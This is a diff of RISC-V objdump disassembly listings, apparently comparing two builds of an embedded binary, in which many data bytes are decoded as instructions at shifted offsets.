     1fcc:	0500                	addi	s0,sp,640
-    1fce:	01a4                	addi	s1,sp,200
-    1fd0:	000043fb          	0x43fb
-    1fd4:	a505                	j	25f4 <__stack_size+0x1df4>
-    1fd6:	2101                	jal	23d6 <__stack_size+0x1bd6>
-    1fd8:	0082                	c.slli64	ra
-    1fda:	0500                	addi	s0,sp,640
-    1fdc:	01a6                	slli	gp,gp,0x9
-    1fde:	a165                	j	2486 <__stack_size+0x1c86>
+    1fce:	01a6                	slli	gp,gp,0x9
+    1fd0:	a17e                	fsd	ft11,128(sp)
+    1fd2:	0000                	unimp
+    1fd4:	ae05                	j	2304 <__stack_size+0x1b04>
+    1fd6:	e801                	bnez	s0,1fe6 <__stack_size+0x17e6>
+    1fd8:	05000007          	0x5000007
+    1fdc:	04e9                	addi	s1,s1,26
+    1fde:	7ff6                	flw	ft11,124(sp)
     1fe0:	0000                	unimp
-    1fe2:	ae05                	j	2312 <__stack_size+0x1b12>
-    1fe4:	3201                	jal	18e4 <__stack_size+0x10e4>
-    1fe6:	0008                	0x8
+    1fe2:	eb05                	bnez	a4,2012 <__stack_size+0x1812>
+    1fe4:	da04                	sw	s1,48(a2)
+    1fe6:	0081                	addi	ra,ra,0
     1fe8:	0500                	addi	s0,sp,640
-    1fea:	04e9                	addi	s1,s1,26
-    1fec:	00007f73          	csrrci	t5,ustatus,0
-    1ff0:	eb05                	bnez	a4,2020 <__stack_size+0x1820>
-    1ff2:	5704                	lw	s1,40(a4)
-    1ff4:	0081                	addi	ra,ra,0
+    1fea:	058e                	slli	a1,a1,0x3
+    1fec:	4ab2                	lw	s5,12(sp)
+    1fee:	0000                	unimp
+    1ff0:	ab05                	j	2520 <__stack_size+0x1d20>
+    1ff2:	ce05                	beqz	a2,202a <__stack_size+0x182a>
+    1ff4:	00a1                	addi	ra,ra,8
     1ff6:	0500                	addi	s0,sp,640
-    1ff8:	058e                	slli	a1,a1,0x3
-    1ffa:	00004973          	0x4973
-    1ffe:	ab05                	j	252e <__stack_size+0x1d2e>
-    2000:	b505                	j	1e20 <__stack_size+0x1620>
-    2002:	00a1                	addi	ra,ra,8
-    2004:	0500                	addi	s0,sp,640
-    2006:	752505cf          	0x752505cf
+    1ff8:	75c005cf          	0x75c005cf
+    1ffc:	0000                	unimp
+    1ffe:	d005                	beqz	s0,1f1e <__stack_size+0x171e>
+    2000:	4d05                	li	s10,1
+    2002:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    2006:	05d1                	addi	a1,a1,20
+    2008:	324c                	fld	fa1,160(a2)
     200a:	0000                	unimp
-    200c:	d005                	beqz	s0,1f2c <__stack_size+0x172c>
-    200e:	c005                	beqz	s0,202e <__stack_size+0x182e>
-    2010:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    2014:	05d1                	addi	a1,a1,20
-    2016:	0331                	addi	t1,t1,12
+    200c:	d205                	beqz	a2,1f2c <__stack_size+0x172c>
+    200e:	8a05                	andi	a2,a2,1
+    2010:	0080                	addi	s0,sp,64
+    2012:	0500                	addi	s0,sp,640
+    2014:	05d6                	slli	a1,a1,0x15
+    2016:	033a                	slli	t1,t1,0xe
     2018:	0000                	unimp
-    201a:	d205                	beqz	a2,1f3a <__stack_size+0x173a>
-    201c:	0705                	addi	a4,a4,1
-    201e:	0080                	addi	s0,sp,64
-    2020:	0500                	addi	s0,sp,640
-    2022:	05d6                	slli	a1,a1,0x15
-    2024:	03ad                	addi	t2,t2,11
+    201a:	d705                	beqz	a4,1f42 <__stack_size+0x1742>
+    201c:	2205                	jal	213c <__stack_size+0x193c>
+    201e:	05000013          	li	zero,80
+    2022:	05d8                	addi	a4,sp,708
+    2024:	99d5                	andi	a1,a1,-11
     2026:	0000                	unimp
-    2028:	d705                	beqz	a4,1f50 <__stack_size+0x1750>
-    202a:	cf05                	beqz	a4,2062 <__stack_size+0x1862>
-    202c:	05000013          	li	zero,80
-    2030:	05d8                	addi	a4,sp,708
-    2032:	9932                	add	s2,s2,a2
+    2028:	db05                	beqz	a4,1f58 <__stack_size+0x1758>
+    202a:	f205                	bnez	a2,1f4a <__stack_size+0x174a>
+    202c:	0031                	c.nop	12
+    202e:	0500                	addi	s0,sp,640
+    2030:	05dc                	addi	a5,sp,708
+    2032:	055e                	slli	a0,a0,0x17
     2034:	0000                	unimp
-    2036:	db05                	beqz	a4,1f66 <__stack_size+0x1766>
-    2038:	fe05                	bnez	a2,1f70 <__stack_size+0x1770>
-    203a:	0030                	addi	a2,sp,8
+    2036:	dd05                	beqz	a0,1f6e <__stack_size+0x176e>
+    2038:	1505                	addi	a0,a0,-31
+    203a:	0020                	addi	s0,sp,8
     203c:	0500                	addi	s0,sp,640
-    203e:	05dc                	addi	a5,sp,708
-    2040:	05e8                	addi	a0,sp,716
+    203e:	05ff                	0x5ff
+    2040:	91dd                	srli	a1,a1,0x37
     2042:	0000                	unimp
-    2044:	dd05                	beqz	a0,1f7c <__stack_size+0x177c>
-    2046:	df05                	beqz	a4,1f7e <__stack_size+0x177e>
-    2048:	001f 0500 05ff      	0x5ff0500001f
-    204e:	9128                	0x9128
-    2050:	0000                	unimp
-    2052:	8005                	srli	s0,s0,0x1
-    2054:	b306                	fsd	ft1,416(sp)
-    2056:	0060                	addi	s0,sp,12
-    2058:	0500                	addi	s0,sp,640
-    205a:	0686                	slli	a3,a3,0x1
-    205c:	54ee                	lw	s1,248(sp)
-    205e:	0000                	unimp
-    2060:	8e05                	sub	a2,a2,s1
-    2062:	6106                	flw	ft2,64(sp)
-    2064:	0020                	addi	s0,sp,8
-    2066:	0000                	unimp
-    2068:	0004                	0x4
-    206a:	0500                	addi	s0,sp,640
-    206c:	e90d                	bnez	a0,209e <__stack_size+0x189e>
-    206e:	003a                	c.slli	zero,0xe
-    2070:	0500                	addi	s0,sp,640
-    2072:	a80e                	fsd	ft3,16(sp)
-    2074:	007d                	c.nop	31
-    2076:	0500                	addi	s0,sp,640
-    2078:	0070210f          	0x70210f
-    207c:	0000                	unimp
-    207e:	0004                	0x4
-    2080:	0500                	addi	s0,sp,640
-    2082:	a608                	fsd	fa0,8(a2)
-    2084:	0052                	c.slli	zero,0x14
-    2086:	0600                	addi	s0,sp,768
-    2088:	330d                	jal	1daa <__stack_size+0x15aa>
-    208a:	0001                	nop
-    208c:	0500                	addi	s0,sp,640
-    208e:	9410                	0x9410
-    2090:	0042                	c.slli	zero,0x10
-    2092:	0000                	unimp
-    2094:	0004                	0x4
-    2096:	0500                	addi	s0,sp,640
-    2098:	5c38                	lw	a4,120(s0)
-    209a:	0060                	addi	s0,sp,12
-    209c:	0500                	addi	s0,sp,640
-    209e:	073c                	addi	a5,sp,904
-    20a0:	05000093          	li	ra,80
-    20a4:	bb3d                	j	1de2 <__stack_size+0x15e2>
-    20a6:	05000063          	beq	zero,a6,20e6 <__stack_size+0x18e6>
-    20aa:	006c0c3f 8a430500 	0x8a430500006c0c3f
-    20b2:	000c                	0xc
-    20b4:	0500                	addi	s0,sp,640
-    20b6:	01a8                	addi	a0,sp,200
-    20b8:	0922                	slli	s2,s2,0x8
-    20ba:	0000                	unimp
-    20bc:	0400                	addi	s0,sp,512
-    20be:	0000                	unimp
-    20c0:	2605                	jal	23e0 <__stack_size+0x1be0>
-    20c2:	0d0e                	slli	s10,s10,0x3
-    20c4:	0000                	unimp
-    20c6:	2805                	jal	20f6 <__stack_size+0x18f6>
-    20c8:	00002dd7          	0x2dd7
-    20cc:	2a05                	jal	21fc <__stack_size+0x19fc>
-    20ce:	8021                	srli	s0,s0,0x8
-    20d0:	0000                	unimp
-    20d2:	2c05                	jal	2302 <__stack_size+0x1b02>
-    20d4:	00007b2b          	0x7b2b
-    20d8:	2d05                	jal	2708 <__stack_size+0x1f08>
-    20da:	6259                	lui	tp,0x16
-    20dc:	0000                	unimp
-    20de:	2e05                	jal	240e <__stack_size+0x1c0e>
-    20e0:	495a                	lw	s2,148(sp)
-    20e2:	0000                	unimp
-    20e4:	2f05                	jal	2814 <__stack_size+0x2014>
-    20e6:	00007a8f          	0x7a8f
-    20ea:	3005                	jal	190a <__stack_size+0x110a>
-    20ec:	00009b5b          	0x9b5b
-    20f0:	3205                	jal	1a10 <__stack_size+0x1210>
-    20f2:	9ecd                	0x9ecd
-    20f4:	0000                	unimp
-    20f6:	3405                	jal	1b16 <__stack_size+0x1316>
-    20f8:	2889                	jal	214a <__stack_size+0x194a>
-    20fa:	0000                	unimp
-    20fc:	3505                	jal	1f1c <__stack_size+0x171c>
-    20fe:	0000883b          	0x883b
-    2102:	3605                	jal	1c22 <__stack_size+0x1422>
-    2104:	8506                	mv	a0,ra
-    2106:	0000                	unimp
-    2108:	3805                	jal	1938 <__stack_size+0x1138>
-    210a:	1b9f 0000 3905      	0x390500001b9f
-    2110:	0c7a                	slli	s8,s8,0x1e
-    2112:	0000                	unimp
-    2114:	3a05                	jal	1a44 <__stack_size+0x1244>
-    2116:	04a0                	addi	s0,sp,584
-    2118:	0000                	unimp
-    211a:	3b05                	jal	1e4a <__stack_size+0x164a>
-    211c:	78f9                	lui	a7,0xffffe
-    211e:	0000                	unimp
-    2120:	3c05                	jal	1b50 <__stack_size+0x1350>
-    2122:	8278                	0x8278
-    2124:	0000                	unimp
-    2126:	3d05                	jal	1f56 <__stack_size+0x1756>
-    2128:	00003d3f 46c03e05 	0x46c03e0500003d3f
-    2130:	0000                	unimp
-    2132:	3f05                	jal	2062 <__stack_size+0x1862>
-    2134:	00004bc7          	fmsub.s	fs7,ft0,ft0,ft0,rmm
-    2138:	0400                	addi	s0,sp,512
-    213a:	0000                	unimp
-    213c:	0905                	addi	s2,s2,1
-    213e:	7cc8                	flw	fa0,60(s1)
+    2044:	8005                	srli	s0,s0,0x1
+    2046:	b006                	fsd	ft1,32(sp)
+    2048:	0061                	c.nop	24
+    204a:	0500                	addi	s0,sp,640
+    204c:	0686                	slli	a3,a3,0x1
+    204e:	00005607          	0x5607
+    2052:	8e05                	sub	a2,a2,s1
+    2054:	f506                	fsw	ft1,168(sp)
+    2056:	0020                	addi	s0,sp,8
+    2058:	0000                	unimp
+    205a:	0004                	0x4
+    205c:	0500                	addi	s0,sp,640
+    205e:	ff0d                	bnez	a4,1f98 <__stack_size+0x1798>
+    2060:	0500003b          	0x500003b
+    2064:	2b0e                	fld	fs6,192(sp)
+    2066:	007e                	c.slli	zero,0x1f
+    2068:	0500                	addi	s0,sp,640
+    206a:	0070a20f          	0x70a20f
+    206e:	0000                	unimp
+    2070:	0004                	0x4
+    2072:	0500                	addi	s0,sp,640
+    2074:	c808                	sw	a0,16(s0)
+    2076:	06000053          	fadd.q	ft0,ft0,ft0,rne
+    207a:	100d                	c.nop	-29
+    207c:	0001                	nop
+    207e:	0500                	addi	s0,sp,640
+    2080:	9310                	0x9310
+    2082:	00000043          	fmadd.s	ft0,ft0,ft0,ft0,rne
+    2086:	0004                	0x4
+    2088:	0500                	addi	s0,sp,640
+    208a:	5938                	lw	a4,112(a0)
+    208c:	0061                	c.nop	24
+    208e:	0500                	addi	s0,sp,640
+    2090:	a33c                	fsd	fa5,64(a4)
+    2092:	05000093          	li	ra,80
+    2096:	7c3d                	lui	s8,0xfffef
+    2098:	0064                	addi	s1,sp,12
+    209a:	0500                	addi	s0,sp,640
+    209c:	006caa3f 18430500 	0x18430500006caa3f
+    20a4:	000c                	0xc
+    20a6:	0500                	addi	s0,sp,640
+    20a8:	01a8                	addi	a0,sp,200
+    20aa:	08ce                	slli	a7,a7,0x13
+    20ac:	0000                	unimp
+    20ae:	0400                	addi	s0,sp,512
+    20b0:	0000                	unimp
+    20b2:	2605                	jal	23d2 <__stack_size+0x1bd2>
+    20b4:	00000cb3          	add	s9,zero,zero
+    20b8:	2805                	jal	20e8 <__stack_size+0x18e8>
+    20ba:	00002ecb          	fnmsub.s	ft9,ft0,ft0,ft0,rdn
+    20be:	2a05                	jal	21ee <__stack_size+0x19ee>
+    20c0:	80a4                	0x80a4
+    20c2:	0000                	unimp
+    20c4:	2c05                	jal	22f4 <__stack_size+0x1af4>
+    20c6:	7ba4                	flw	fs1,112(a5)
+    20c8:	0000                	unimp
+    20ca:	2d05                	jal	26fa <__stack_size+0x1efa>
+    20cc:	6324                	flw	fs1,64(a4)
+    20ce:	0000                	unimp
+    20d0:	2e05                	jal	2400 <__stack_size+0x1c00>
+    20d2:	4a99                	li	s5,6
+    20d4:	0000                	unimp
+    20d6:	2f05                	jal	2806 <__stack_size+0x2006>
+    20d8:	7b08                	flw	fa0,48(a4)
+    20da:	0000                	unimp
+    20dc:	3005                	jal	18fc <__stack_size+0x10fc>
+    20de:	9bd8                	0x9bd8
+    20e0:	0000                	unimp
+    20e2:	3205                	jal	1a02 <__stack_size+0x1202>
+    20e4:	00009f2f          	0x9f2f
+    20e8:	3405                	jal	1b08 <__stack_size+0x1308>
+    20ea:	294d                	jal	259c <__stack_size+0x1d9c>
+    20ec:	0000                	unimp
+    20ee:	3505                	jal	1f0e <__stack_size+0x170e>
+    20f0:	88de                	mv	a7,s7
+    20f2:	0000                	unimp
+    20f4:	3605                	jal	1c14 <__stack_size+0x1414>
+    20f6:	8582                	jr	a1
+    20f8:	0000                	unimp
+    20fa:	3805                	jal	192a <__stack_size+0x112a>
+    20fc:	1ad8                	addi	a4,sp,372
+    20fe:	0000                	unimp
+    2100:	3905                	jal	1d30 <__stack_size+0x1530>
+    2102:	0c08                	addi	a0,sp,528
+    2104:	0000                	unimp
+    2106:	3a05                	jal	1a36 <__stack_size+0x1236>
+    2108:	00003953          	fadd.s	fs2,ft0,ft0,rup
+    210c:	3b05                	jal	1e3c <__stack_size+0x163c>
+    210e:	00007983          	0x7983
+    2112:	3c05                	jal	1b42 <__stack_size+0x1342>
+    2114:	82fe                	mv	t0,t6
+    2116:	0000                	unimp
+    2118:	3d05                	jal	1f48 <__stack_size+0x1748>
+    211a:	3e4a                	fld	ft8,176(sp)
+    211c:	0000                	unimp
+    211e:	3e05                	jal	1c4e <__stack_size+0x144e>
+    2120:	47dd                	li	a5,23
+    2122:	0000                	unimp
+    2124:	3f05                	jal	2054 <__stack_size+0x1854>
+    2126:	4d06                	lw	s10,64(sp)
+    2128:	0000                	unimp
+    212a:	0400                	addi	s0,sp,512
+    212c:	0000                	unimp
+    212e:	0905                	addi	s2,s2,1
+    2130:	7d52                	flw	fs10,52(sp)
+    2132:	0000                	unimp
+    2134:	1005                	c.nop	-31
+    2136:	93b2                	add	t2,t2,a2
+    2138:	0000                	unimp
+    213a:	8a05                	andi	a2,a2,1
+    213c:	fe01                	bnez	a2,2054 <__stack_size+0x1854>
+    213e:	004c                	addi	a1,sp,4
     2140:	0000                	unimp
-    2142:	1005                	c.nop	-31
-    2144:	00000407          	0x407
-    2148:	8a05                	andi	a2,a2,1
-    214a:	bf01                	j	205a <__stack_size+0x185a>
-    214c:	0000004b          	fnmsub.s	ft0,ft0,ft0,ft0,rne
-    2150:	0004                	0x4
-    2152:	0500                	addi	s0,sp,640
-    2154:	9c3c                	0x9c3c
-    2156:	007a                	c.slli	zero,0x1e
-    2158:	0600                	addi	s0,sp,768
-    215a:	0083f23f 1f400500 	0x1f4005000083f23f
-    2162:	0022                	c.slli	zero,0x8
-    2164:	0600                	addi	s0,sp,768
-    2166:	4248                	lw	a0,4(a2)
-    2168:	0081                	addi	ra,ra,0
-    216a:	0500                	addi	s0,sp,640
-    216c:	3a49                	jal	1afe <__stack_size+0x12fe>
-    216e:	0096                	slli	ra,ra,0x5
-    2170:	0600                	addi	s0,sp,768
-    2172:	2d4a                	fld	fs10,144(sp)
-    2174:	05000063          	beq	zero,a6,21b4 <__stack_size+0x19b4>
-    2178:	0008734b          	fnmsub.s	ft6,fa6,ft0,ft0
-    217c:	0600                	addi	s0,sp,768
-    217e:	e44e                	fsw	fs3,8(sp)
-    2180:	0500003b          	0x500003b
-    2184:	ca52                	sw	s4,20(sp)
-    2186:	0005                	c.nop	1
-    2188:	0600                	addi	s0,sp,768
-    218a:	00814357          	0x814357
-    218e:	0500                	addi	s0,sp,640
-    2190:	00529b5b          	0x529b5b
-    2194:	0600                	addi	s0,sp,768
-    2196:	2e5d                	jal	254c <__stack_size+0x1d4c>
-    2198:	05000063          	beq	zero,a6,21d8 <__stack_size+0x19d8>
-    219c:	db5e                	sw	s7,180(sp)
-    219e:	0600003b          	0x600003b
-    21a2:	0014e267          	0x14e267
-    21a6:	0500                	addi	s0,sp,640
-    21a8:	f068                	fsw	fa0,100(s0)
-    21aa:	0028                	addi	a0,sp,8
-    21ac:	0600                	addi	s0,sp,768
-    21ae:	6c69                	lui	s8,0x1a
-    21b0:	0096                	slli	ra,ra,0x5
-    21b2:	0500                	addi	s0,sp,640
-    21b4:	296a                	fld	fs2,152(sp)
-    21b6:	0002                	c.slli64	zero
-    21b8:	0600                	addi	s0,sp,768
-    21ba:	6b6d                	lui	s6,0x1b
-    21bc:	0096                	slli	ra,ra,0x5
-    21be:	0500                	addi	s0,sp,640
-    21c0:	4071                	c.li	zero,28
-    21c2:	009d                	addi	ra,ra,7
-    21c4:	0600                	addi	s0,sp,768
-    21c6:	0975                	addi	s2,s2,29
-    21c8:	0050                	addi	a2,sp,4
-    21ca:	0500                	addi	s0,sp,640
-    21cc:	6a76                	flw	fs4,92(sp)
-    21ce:	000a                	c.slli	zero,0x2
-    21d0:	0600                	addi	s0,sp,768
-    21d2:	008dc477          	0x8dc477
-    21d6:	0500                	addi	s0,sp,640
-    21d8:	6478                	flw	fa4,76(s0)
-    21da:	003c                	addi	a5,sp,8
-    21dc:	0600                	addi	s0,sp,768
-    21de:	008dc37b          	0x8dc37b
-    21e2:	0500                	addi	s0,sp,640
-    21e4:	ad7c                	fsd	fa5,216(a0)
-    21e6:	0008                	0x8
+    2142:	0004                	0x4
+    2144:	0500                	addi	s0,sp,640
+    2146:	153c                	addi	a5,sp,680
+    2148:	0600007b          	0x600007b
+    214c:	0084783f 9e400500 	0x9e4005000084783f
+    2154:	0022                	c.slli	zero,0x8
+    2156:	0600                	addi	s0,sp,768
+    2158:	c548                	sw	a0,12(a0)
+    215a:	0081                	addi	ra,ra,0
+    215c:	0500                	addi	s0,sp,640
+    215e:	e949                	bnez	a0,21f0 <__stack_size+0x19f0>
+    2160:	0096                	slli	ra,ra,0x5
+    2162:	0600                	addi	s0,sp,768
+    2164:	ee4a                	fsw	fs2,28(sp)
+    2166:	05000063          	beq	zero,a6,21a6 <__stack_size+0x19a6>
+    216a:	0008294b          	fnmsub.s	fs2,fa6,ft0,ft0,rdn
+    216e:	0600                	addi	s0,sp,768
+    2170:	f14e                	fsw	fs3,160(sp)
+    2172:	003c                	addi	a5,sp,8
+    2174:	0500                	addi	s0,sp,640
+    2176:	4052                	0x4052
+    2178:	0005                	c.nop	1
+    217a:	0600                	addi	s0,sp,768
+    217c:	0081c657          	0x81c657
+    2180:	0500                	addi	s0,sp,640
+    2182:	0053bd5b          	0x53bd5b
+    2186:	0600                	addi	s0,sp,768
+    2188:	ef5d                	bnez	a4,2246 <__stack_size+0x1a46>
+    218a:	05000063          	beq	zero,a6,21ca <__stack_size+0x19ca>
+    218e:	e85e                	fsw	fs7,16(sp)
+    2190:	003c                	addi	a5,sp,8
+    2192:	0600                	addi	s0,sp,768
+    2194:	00144967          	0x144967
+    2198:	0500                	addi	s0,sp,640
+    219a:	b468                	fsd	fa0,232(s0)
+    219c:	0029                	c.nop	10
+    219e:	0600                	addi	s0,sp,768
+    21a0:	1b69                	addi	s6,s6,-6
+    21a2:	05000097          	auipc	ra,0x5000
+    21a6:	f46a                	fsw	fs10,40(sp)
+    21a8:	0001                	nop
+    21aa:	0600                	addi	s0,sp,768
+    21ac:	1a6d                	addi	s4,s4,-5
+    21ae:	05000097          	auipc	ra,0x5000
+    21b2:	ab71                	j	274e <__stack_size+0x1f4e>
+    21b4:	009d                	addi	ra,ra,7
+    21b6:	0600                	addi	s0,sp,768
+    21b8:	3175                	jal	1e64 <__stack_size+0x1664>
+    21ba:	0051                	c.nop	20
+    21bc:	0500                	addi	s0,sp,640
+    21be:	0076                	c.slli	zero,0x1d
+    21c0:	000a                	c.slli	zero,0x2
+    21c2:	0600                	addi	s0,sp,768
+    21c4:	008e7e77          	0x8e7e77
+    21c8:	0500                	addi	s0,sp,640
+    21ca:	8678                	0x8678
+    21cc:	003d                	c.nop	15
+    21ce:	0600                	addi	s0,sp,768
+    21d0:	008e7d7b          	0x8e7d7b
+    21d4:	0500                	addi	s0,sp,640
+    21d6:	627c                	flw	fa5,68(a2)
+    21d8:	0008                	0x8
+    21da:	0600                	addi	s0,sp,768
+    21dc:	0180                	addi	s0,sp,192
+    21de:	4c8e                	lw	s9,192(sp)
+    21e0:	0000                	unimp
+    21e2:	8105                	srli	a0,a0,0x1
+    21e4:	9a01                	andi	a2,a2,-32
+    21e6:	0048                	addi	a0,sp,4
     21e8:	0600                	addi	s0,sp,768
-    21ea:	0180                	addi	s0,sp,192
-    21ec:	00004b47          	fmsub.s	fs6,ft0,ft0,ft0,rmm
-    21f0:	8105                	srli	a0,a0,0x1
-    21f2:	8501                	c.srai64	a0
-    21f4:	06000047          	fmsub.q	ft0,ft0,ft0,ft0,rne
-    21f8:	0182                	c.slli64	gp
-    21fa:	1e95                	addi	t4,t4,-27
+    21ea:	0182                	c.slli64	gp
+    21ec:	00001ecb          	fnmsub.s	ft9,ft0,ft0,ft0,rtz
+    21f0:	8305                	srli	a4,a4,0x1
+    21f2:	2e01                	jal	2502 <__stack_size+0x1d02>
+    21f4:	0050                	addi	a2,sp,4
+    21f6:	0600                	addi	s0,sp,768
+    21f8:	0186                	slli	gp,gp,0x1
+    21fa:	3bf5                	jal	1ff6 <__stack_size+0x17f6>
     21fc:	0000                	unimp
-    21fe:	8305                	srli	a4,a4,0x1
-    2200:	3101                	jal	1e00 <__stack_size+0x1600>
-    2202:	0600004f          	fnmadd.q	ft0,ft0,ft0,ft0,rne
-    2206:	0186                	slli	gp,gp,0x1
-    2208:	3adf 0000 8705      	0x870500003adf
-    220e:	0001                	nop
-    2210:	0035                	c.nop	13
+    21fe:	8705                	srai	a4,a4,0x1
+    2200:	dc01                	beqz	s0,2118 <__stack_size+0x1918>
+    2202:	0035                	c.nop	13
+    2204:	0600                	addi	s0,sp,768
+    2206:	4c8d018b          	0x4c8d018b
+    220a:	0000                	unimp
+    220c:	8c05                	sub	s0,s0,s1
+    220e:	7501                	lui	a0,0xfffe0
+    2210:	0016                	c.slli	zero,0x5
     2212:	0600                	addi	s0,sp,768
-    2214:	4b46018b          	0x4b46018b
+    2214:	018d                	addi	gp,gp,3
+    2216:	1eca                	slli	t4,t4,0x32
     2218:	0000                	unimp
-    221a:	8c05                	sub	s0,s0,s1
-    221c:	2601                	jal	251c <__stack_size+0x1d1c>
-    221e:	06000017          	auipc	zero,0x6000
-    2222:	018d                	addi	gp,gp,3
-    2224:	1e94                	addi	a3,sp,880
+    221a:	8e05                	sub	a2,a2,s1
+    221c:	cc01                	beqz	s0,2234 <__stack_size+0x1a34>
+    221e:	0094                	addi	a3,sp,64
+    2220:	0600                	addi	s0,sp,768
+    2222:	0191                	addi	gp,gp,4
+    2224:	1ec9                	addi	t4,t4,-14
     2226:	0000                	unimp
-    2228:	8e05                	sub	a2,a2,s1
-    222a:	1d01                	addi	s10,s10,-32
-    222c:	0094                	addi	a3,sp,64
-    222e:	0600                	addi	s0,sp,768
-    2230:	0191                	addi	gp,gp,4
-    2232:	00001e93          	slli	t4,zero,0x0
-    2236:	9205                	srli	a2,a2,0x21
-    2238:	5201                	li	tp,-32
-    223a:	06000087          	0x6000087
-    223e:	14c00197          	auipc	gp,0x14c00
+    2228:	9205                	srli	a2,a2,0x21
+    222a:	f501                	bnez	a0,2132 <__stack_size+0x1932>
+    222c:	06000087          	0x6000087
+    2230:	14270197          	auipc	gp,0x14270
+    2234:	0000                	unimp
+    2236:	9805                	andi	s0,s0,-31
+    2238:	9701                	srai	a4,a4,0x20
+    223a:	0034                	addi	a3,sp,8
+    223c:	0600                	addi	s0,sp,768
+    223e:	0199                	addi	gp,gp,6
+    2240:	06a5                	addi	a3,a3,9
     2242:	0000                	unimp
-    2244:	9805                	andi	s0,s0,-31
-    2246:	b701                	j	2146 <__stack_size+0x1946>
-    2248:	06000033          	0x6000033
-    224c:	0199                	addi	gp,gp,6
-    224e:	0000070f          	0x70f
-    2252:	9a05                	andi	a2,a2,-31
-    2254:	7501                	lui	a0,0xfffe0
-    2256:	0019                	c.nop	6
-    2258:	0600                	addi	s0,sp,768
-    225a:	019d                	addi	gp,gp,7
-    225c:	070e                	slli	a4,a4,0x3
-    225e:	0000                	unimp
-    2260:	9e05                	0x9e05
-    2262:	c201                	beqz	a2,2262 <__stack_size+0x1a62>
-    2264:	0069                	c.nop	26
-    2266:	0000                	unimp
-    2268:	0004                	0x4
-    226a:	0500                	addi	s0,sp,640
-    226c:	3204                	fld	fs1,32(a2)
-    226e:	002e                	c.slli	zero,0xb
-    2270:	0500                	addi	s0,sp,640
-    2272:	00084a07          	flq	fs4,0(a6)
-    2276:	0500                	addi	s0,sp,640
-    2278:	7d08                	flw	fa0,56(a0)
-    227a:	0500002b          	0x500002b
-    227e:	420d                	li	tp,3
-    2280:	0001                	nop
-    2282:	0500                	addi	s0,sp,640
-    2284:	0099200f          	0x99200f
-    2288:	0500                	addi	s0,sp,640
-    228a:	bb10                	fsd	fa2,48(a4)
-    228c:	0012                	c.slli	zero,0x4
-    228e:	0500                	addi	s0,sp,640
-    2290:	4311                	li	t1,4
-    2292:	005c                	addi	a5,sp,4
-    2294:	0500                	addi	s0,sp,640
-    2296:	4216                	lw	tp,68(sp)
-    2298:	005a                	c.slli	zero,0x16
-    229a:	0500                	addi	s0,sp,640
-    229c:	ef18                	fsw	fa4,24(a4)
-    229e:	0085                	addi	ra,ra,1
-    22a0:	0500                	addi	s0,sp,640
-    22a2:	7519                	lui	a0,0xfffe6
-    22a4:	0006                	c.slli	zero,0x1
-    22a6:	0500                	addi	s0,sp,640
-    22a8:	2a1a                	fld	fs4,384(sp)
-    22aa:	007f                	0x7f
-    22ac:	0500                	addi	s0,sp,640
-    22ae:	0076c21b          	0x76c21b
-    22b2:	0500                	addi	s0,sp,640
-    22b4:	4e1c                	lw	a5,24(a2)
-    22b6:	0019                	c.nop	6
-    22b8:	0500                	addi	s0,sp,640
-    22ba:	d61d                	beqz	a2,21e8 <__stack_size+0x19e8>
-    22bc:	0011                	c.nop	4
-    22be:	0500                	addi	s0,sp,640
-    22c0:	6a1f 002c 0500      	0x500002c6a1f
-    22c6:	7520                	flw	fs0,104(a0)
-    22c8:	0051                	c.nop	20
-    22ca:	0500                	addi	s0,sp,640
-    22cc:	1f25                	addi	t5,t5,-23
-    22ce:	05000087          	0x5000087
-    22d2:	0063d427          	0x63d427
-    22d6:	0500                	addi	s0,sp,640
-    22d8:	5628                	lw	a0,104(a2)
-    22da:	0006                	c.slli	zero,0x1
-    22dc:	0500                	addi	s0,sp,640
-    22de:	3429                	jal	1ce8 <__stack_size+0x14e8>
-    22e0:	0020                	addi	s0,sp,8
-    22e2:	0500                	addi	s0,sp,640
-    22e4:	fe2a                	fsw	fa0,60(sp)
-    22e6:	0032                	c.slli	zero,0xc
-    22e8:	0500                	addi	s0,sp,640
-    22ea:	006bd52b          	0x6bd52b
-    22ee:	0500                	addi	s0,sp,640
-    22f0:	662c                	flw	fa1,72(a2)
-    22f2:	002a                	c.slli	zero,0xa
-    22f4:	0500                	addi	s0,sp,640
-    22f6:	f12d                	bnez	a0,2258 <__stack_size+0x1a58>
-    22f8:	05000007          	0x5000007
-    22fc:	2a32                	fld	fs4,264(sp)
-    22fe:	006c                	addi	a1,sp,12
-    2300:	0500                	addi	s0,sp,640
-    2302:	fc34                	fsw	fa3,120(s0)
-    2304:	0500009b          	0x500009b
-    2308:	8d35                	xor	a0,a0,a3
-    230a:	0044                	addi	s1,sp,4
-    230c:	0500                	addi	s0,sp,640
-    230e:	8f36                	mv	t5,a3
-    2310:	009f 0500 e137      	0xe1370500009f
-    2316:	0038                	addi	a4,sp,8
-    2318:	0500                	addi	s0,sp,640
-    231a:	e638                	fsw	fa4,72(a2)
-    231c:	0079                	c.nop	30
-    231e:	0500                	addi	s0,sp,640
-    2320:	cd39                	beqz	a0,237e <__stack_size+0x1b7e>
-    2322:	05000077          	0x5000077
-    2326:	e53a                	fsw	fa4,136(sp)
-    2328:	0075                	c.nop	29
-    232a:	0500                	addi	s0,sp,640
-    232c:	073c                	addi	a5,sp,904
-    232e:	0010                	0x10
-    2330:	0500                	addi	s0,sp,640
-    2332:	b23d                	j	1c60 <__stack_size+0x1460>
-    2334:	000d                	c.nop	3
-    2336:	0500                	addi	s0,sp,640
-    2338:	c73e                	sw	a5,140(sp)
-    233a:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    233e:	0075c93f 45400500 	0x454005000075c93f
-    2346:	0020                	addi	s0,sp,8
-    2348:	0500                	addi	s0,sp,640
-    234a:	2e41                	jal	26da <__stack_size+0x1eda>
-    234c:	0070                	addi	a2,sp,12
-    234e:	0500                	addi	s0,sp,640
-    2350:	7f42                	flw	ft10,48(sp)
-    2352:	0041                	c.nop	16
-    2354:	0500                	addi	s0,sp,640
-    2356:	009f7143          	fmadd.s	ft2,ft10,fs1,ft0
-    235a:	0500                	addi	s0,sp,640
-    235c:	7c44                	flw	fs1,60(s0)
-    235e:	0032                	c.slli	zero,0xc
-    2360:	0500                	addi	s0,sp,640
-    2362:	0f45                	addi	t5,t5,17
-    2364:	002a                	c.slli	zero,0xa
-    2366:	0500                	addi	s0,sp,640
-    2368:	4046                	0x4046
-    236a:	0500003b          	0x500003b
